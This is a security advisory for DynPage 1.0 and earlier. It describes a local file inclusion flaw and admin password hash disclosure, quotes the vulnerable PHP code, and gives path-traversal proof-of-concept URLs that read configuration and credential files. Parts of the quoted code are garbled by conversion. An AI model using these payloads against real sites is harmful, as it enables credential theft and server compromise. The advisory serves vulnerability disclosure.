

# **ABYSSSEC RESEARCH**

# 1) Advisory information

Title : DynPage Multiple Remote Vulnerabilities.

Affected : <= 1.0

Discovery : <u>www.abysssec.com</u>
Vendor : <u>http://www.dynpage.net</u>

Impact : Critical

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# 2) Vulnerability Information

### Class

- 1- Local File Inclusion
- 2- Admin password hash Disclosure

#### **Impact**

An attacker may leverage this issue to have arbitrary code execute in target server And also it's possible to grab administrator hashes.

Remotely Exploitable

Yes

Locally Exploitable

No

## 3) Vulnerabilities detail

## 1- Local File Include:

Vulnerable code located in /content/dynpage\_load.php:

```
[line(20-28)]
...
$filename = $_GET["file"];
if (!is_dir ($filename) && file_exists ($filename)) {

    $bytes = filesize ($filename);
    $fh = fopen($filename, 'r');
    print (fread ($fh, $bytes));
    fclose ($fh);
}
....
```

POC:

http://www.Site.com/dynpage/content/dynpage load.php?file=../.htaccess%00

### 2- Admin hash disclosure:

The Admin password hash format: MD5('admin:'+\$password) then password's salt is "admin:"

Default password is admin, that stored in config\_global.inc.php

```
line 41-42:

// Default login admin

"default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2",
```

POC for see this hash:

http://www.Site.com/dynpage/content/dynpage\_load.php?file=../config\_global.inc.php%00

The hash password stored as SESSION in /conf/init.inc.php.

```
<?php
// This file is generated automatically!
// No not modify manually!
$\text{$\sum_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']="2d08086927f4d87a31154aaf0ba2e067";
$\text{$\sum_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com";
}</pre>
```

POC for see this hash:

http://www.Site.com/dynpage/content/dynpage load.php?file=../conf/init.inc.php%00